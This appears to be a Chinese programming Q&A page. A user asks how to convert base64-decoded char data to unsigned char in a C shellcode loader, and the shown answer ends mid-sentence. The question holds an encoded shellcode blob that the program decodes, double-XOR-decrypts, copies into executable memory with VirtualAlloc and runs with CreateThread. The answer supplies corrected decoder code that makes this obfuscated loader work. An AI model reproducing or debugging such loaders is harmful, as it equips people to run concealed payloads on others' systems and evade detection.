如何将Base64解码的char数组转为unsigned char数组用于Shellcode处理
问题描述
我尝试将XOR加密与Base64编码结合生成Shellcode,但遇到一个问题:我用的Base64解码器输出是char数组,而后续所有算法都是基于unsigned char数组实现的。需要把解码结果转换到unsigned char数组中,以下是我的代码,求解决方案?
#include <stdio.h> #include <string.h> #include <stdlib.h> #include "windows.h" /* ---- Base64 Encoding/Decoding Table --- */ char b64[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; void b64_encode(char *clrstr, char *b64dst); void decodeblock(unsigned char in[], char *clrstr); void b64_decode(char *b64src, char *clrdst); void encodeblock( unsigned char in[], char b64str[], int len ); int main() { PVOID lclbuff; HANDLE thrd; int i; //mysrc, first, encrypted by using key1 with XOR and again encrypted by using key2 with XOR. Then encoded with base64. Therefore, I need to reverse these steps. char mysrc[] = "XHhmOFx4NTZceDgzXHhmMFx4ZTFceGU1XHhkZlx4MGNceDEwXHgxOFx4NGRceDQyXHg0OVx4NDlceDRiXHg1MVx4NDFceDQ5XHgyOVx4YzdceDYxXHg1Nlx4OGJceDQ2XHg3MVx4NDVceDk0XHg1ZVx4MDhceDUwXHg4N1x4NDFceDI4XHg1MVx4OTJceDcyXHg0N1x4NDlceDE3XHhhMlx4NGVceDU0XHg0ZFx4MjVceGQ4XHg0NVx4MmVceGNjXHhiY1x4MjRceDZkXHg2Zlx4MGFceDM1XHgzOVx4NDFceGQ2XHhjOFx4MTVceDU0XHgwNVx4ZGZceGUyXHhmOVx4NDNceDRjXHg0ZVx4NDRceDliXHg0YVx4MmNceDk4XHg0YVx4MjVceDUxXHgwMVx4YzdceDhhXHg5OFx4OWRceDA0XHgxZVx4MDBceDVjXHg5NFx4Y2RceDZiXHg2Ylx4NThceDE5XHhkY1x4NDNceDgzXHg1MVx4MDFceDQ0XHg5Y1x4NDFceDM4XHg1Y1x4MDVceGNlXHhlM1x4NDJceDU5XHhmMlx4ZDZceDRkXHg5Ylx4MmNceDg0XHg1Ylx4MDlceGNmXHg1NFx4MzFceGRlXHg0OVx4MjlceGQ1XHhhOFx4NWZceGMxXHhkZFx4MWNceDRjXHgxZVx4Y2RceDI4XHhmOFx4NzlceGUyXHg0NFx4MWFceDU1XHgyNFx4MWZceDQ0XHgyMVx4YzRceDcxXHhjNlx4NThceDUwXHg5YVx4NGRceDNiXHg0NVx4MTFceGM4XHg2YVx4NTJceDgzXHgxNVx4NTFceDQ0XHg5Y1x4NDFceDA0XHg1Y1x4MDVceGNlXHg0MVx4OWZceDE1XHg4NVx4NTdceDBkXHhjMFx4NTlceDU0XHg1Mlx4NTBceDQ3XHg0MFx4NWFceDU2XHg1OVx4NTlceDRjXHg0NVx4NDRceDQ4XHg5N1x4ZmRceDJkXHg1ZVx4NWVceGVmXHhmOFx4NTRceDUyXHg1MVx4NDNceDUxXHg4Ylx4MDVceGU4XHg0Zlx4ZWFceGZiXHhlMVx4NWRceDVkXHhhZlx4N2FceDZjXHgzZVx4NGZceDJiXHgzZVx4MTNceDA4XHg1OFx4NGZceDQ5XHg5ZVx4ZTdceDUwXHg5NFx4ZThceGJlXHgwMVx4MTRceDExXHg0NFx4OTZceGU5XHg1OVx4YTRceDBlXHgxM1x4MmRceDYyXHgxM1x4MDBceDE1XHgwNVx4NTlceDQxXHg0ZFx4OTdceGU0XHg1OFx4OThceGZjXHg1ZVx4YjZceDVjXHg2Zlx4MmFceDE0XHhmN1x4Y2NceDU1XHg4OVx4ZmRceDY5XHgxOVx4MTRceDA0XHgxZVx4NTlceDU1XHhhYlx4MjRceDlmXHg2N1x4MTBceGU3XHhkOVx4NDNceDU4XHg1NFx4MjhceGM5XHg1YVx4MzBceGQ4XHg1ZFx4ZmJceGRlXHg0OFx4OWRceGQzXHg0NVx4ZTBceGNjXHg1OFx4OTFceGNkXHg1Mlx4YjJceGYzXHgxNlx4ZGZceGY3XHhmZVx4Y2RceDVkXHg4ZFx4ZDlceDZhXHgwNFx4NTBceDU1XHg1M1x4ODVceGYyXHg1MFx4ODVceGVhXHg0OVx4YTNceDgwXHhhNVx4NjNceDYwXHhlN1x4YzBceDRjXHg5Zlx4YzRceDU0XHgxM1x4MGRceDFmXHg0NVx4YThceDdiXHg2MVx4NzdceDA4XHgxOVx4MTlceDAwXHgxN1x4NDBceDQ4XHg1NFx4NTRceDU2XHg4OVx4ZjZceDQ2XHg1YVx4NDhceDQxXHgyMVx4ZDhceDY2XHgxZVx4NTFceDU4XHg0OVx4ZTJceGViXHg2N1x4ZGZceDUxXHgyMFx4NGFceDAxXHgxNVx4NTlceDgwXHg1Ylx4MjhceDA4XHhkZVx4MGNceDdiXHg0MFx4OTBceGZmXHg1Nlx4NDdceDQwXHg0OFx4NTRceDU0XHg1Zlx4NTBceDVkXHhlZVx4Y2RceDVlXHg1Y1x4NTlceGU3XHhjNFx4NWVceDgxXHhkOFx4NTVceDg5XHhkNlx4NDBceGEyXHg2Y1x4YzhceDIxXHg4Nlx4ZWJceGM0XHg0NVx4MmVceGRlXHg1OFx4ZTdceGM2XHg5OFx4MDZceDU4XHhhM1x4MDhceDkwXHgxY1x4NzhceGVhXHhkMVx4YTVceGYwXHhhMVx4YjNceDViXHg1ZVx4YjZceGI2XHg4ZFx4YjFceDhlXHhmN1x4Y2NceDUxXHg4M1x4ZDNceDI5XHgyNFx4MTNceDc4XHgxNFx4ODBceGVmXHhmMVx4NzhceDFhXHhiN1x4NTdceDBiXHg3ZVx4N2NceDYyXHgxOVx4NDBceDQxXHg5ZVx4ZGJceGU3XHhjMA=="; char myb64[1840]; unsigned char nw[1840]; b64_decode(mysrc, myb64); printf("%s\n", myb64); // This gives following and true output: \xf8\x56\x83\xf0\xe1\xe5\xdf\x0c\x10\x18... //However, It must reside inside an unsigned char array, as occurs in the output above. //The output above must be turned into unsigned char array which is 'nw'. What can I do? char key1[] = "elma"; char key2[] = "armut"; for(i=0; i<sizeof(nw)-1; i++){ nw[i]^=key2[i % strlen(key2)]; } for(i=0; i<sizeof(nw)-1; i++){ nw[i]^=key1[i % strlen(key1)]; } lclbuff = VirtualAlloc(NULL, sizeof(nw), (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE); CopyMemory(lclbuff, nw, sizeof(nw)); thrd = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)lclbuff, NULL, 0, NULL); WaitForSingleObject(thrd, INFINITE); return 0; } // The functions below are only needed to base64 encoding/decoding. Therefore, we can pass them. /* encode - base64 encode a stream, adding padding if needed */ void b64_encode(char *clrstr, char *b64dst) { unsigned char in[3]; int i, len = 0; int j = 0; b64dst[0] = '\0'; while(clrstr[j]) { len = 0; for(i=0; i<3; i++) { in[i] = (unsigned char) clrstr[j]; if(clrstr[j]) { len++; j++; } else in[i] = 0; } if( len ) { encodeblock( in, b64dst, len ); } } } /* decodeblock - decode 4 '6-bit' characters into 3 8-bit binary bytes */ void decodeblock(unsigned char in[], char *clrstr) { unsigned char out[4]; out[0] = in[0] << 2 | in[1] >> 4; out[1] = in[1] << 4 | in[2] >> 2; out[2] = in[2] << 6 | in[3] >> 0; out[3] = '\0'; strncat(clrstr, out, sizeof(out)); } void b64_decode(char *b64src, char *clrdst) { int c, phase, i; unsigned char in[4]; char *p; clrdst[0] = '\0'; phase = 0; i=0; while(b64src[i]) { c = (int) b64src[i]; if(c == '=') { decodeblock(in, clrdst); break; } p = strchr(b64, c); if(p) { in[phase] = p - b64; phase = (phase + 1) % 4; if(phase == 0) { decodeblock(in, clrdst); in[0]=in[1]=in[2]=in[3]=0; } } i++; } } /* encodeblock - encode 3 8-bit binary bytes as 4 '6-bit' characters */ void encodeblock( unsigned char in[], char b64str[], int len ) { unsigned char out[5]; out[0] = b64[ in[0] >> 2 ]; out[1] = b64[ ((in[0] & 0x03) << 4) | ((in[1] & 0xf0) >> 4) ]; out[2] = (unsigned char) (len > 1 ? b64[ ((in[1] & 0x0f) << 2) | ((in[2] & 0xc0) >> 6) ] : '='); out[3] = (unsigned char) (len > 2 ? b64[ in[2] & 0x3f ] : '='); out[4] = '\0'; strncat(b64str, out, sizeof(out)); }
解决方案
方法1:直接类型转换复制
Base64解码后的myb64数组里的字节值已经是正确的二进制数据,只是类型为char。可以通过循环将每个元素强制转换为unsigned char后赋值给nw数组,同时注意获取实际解码长度(避免处理未初始化内存):
// 在b64_decode调用后添加: size_t decoded_len = strlen(myb64); for (i = 0; i < decoded_len; i++) { nw[i] = (unsigned char)myb64[i]; } // 可选:将剩余内存初始化为0,避免垃圾数据干扰 memset(nw + decoded_len, 0, sizeof(nw) - decoded_len);
注意:如果Shellcode中包含\0字节,strlen会提前终止,导致部分数据丢失,这种情况建议用方法2。
方法2:修改Base64解码函数直接输出unsigned char
更可靠的方案是修改解码函数,让它直接写入unsigned char数组并返回实际解码字节数,解决二进制数据含\0的问题:
- 修改函数声明:
size_t b64_decode(char *b64src, unsigned char *clrdst); void decodeblock(unsigned char in[], unsigned char *clrstr, size_t *offset);
- 更新
decodeblock和b64_decode实现:
void decodeblock(unsigned char in[], unsigned char *clrstr, size_t *offset) { clrstr[*offset] = in[0] << 2 | in[1] >> 4; clrstr[*offset + 1] = in[1] << 4 | in[2] >> 2; clrstr[*offset + 2] = in[2] << 6 | in[3] >> 0; *offset += 3; } size_t b64_decode(char *b64src, unsigned char *clrdst) { int c, phase, i; unsigned char in[4]; char *p; size_t offset = 0; phase = 0; i = 0; while (b64src[i]) { c = (int)b64src[i]; if (c == '=') { // 处理填充,减去无效的填充字节 int pad_count = 4 - phase; decodeblock(in, clrdst, &offset); offset -= pad_count; break; } p = strchr(b64, c); if (p) { in[phase] = p - b64; phase = (phase + 1) % 4; if (phase == 0) { decodeblock(in, clrdst, &offset); memset(in, 0, sizeof(in)); } } i++; } return offset; }
- 在main函数中使用修改后的函数:
unsigned char nw[1840]; // 直接解码到unsigned char数组,获取实际长度 size_t decoded_len = b64_decode(mysrc, nw); // XOR操作只处理实际解码的字节 for(i=0; i < decoded_len; i++){ nw[i] ^= key2[i % strlen(key2)]; } for(i=0; i < decoded_len; i++){ nw[i] ^= key1[i % strlen(key1)]; } // 内存分配和拷贝也使用实际长度,避免浪费内存 lclbuff = VirtualAlloc(NULL, decoded_len, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE); CopyMemory(lclbuff, nw, decoded_len);
关键注意点
- char可能是有符号类型,当字节值大于127时,强制转换为unsigned char可以避免符号扩展,保证二进制数据的正确性。
- 原代码中用
sizeof(nw)处理数据长度会包含未初始化的内存,改用
相关产品推荐
相关产品推荐

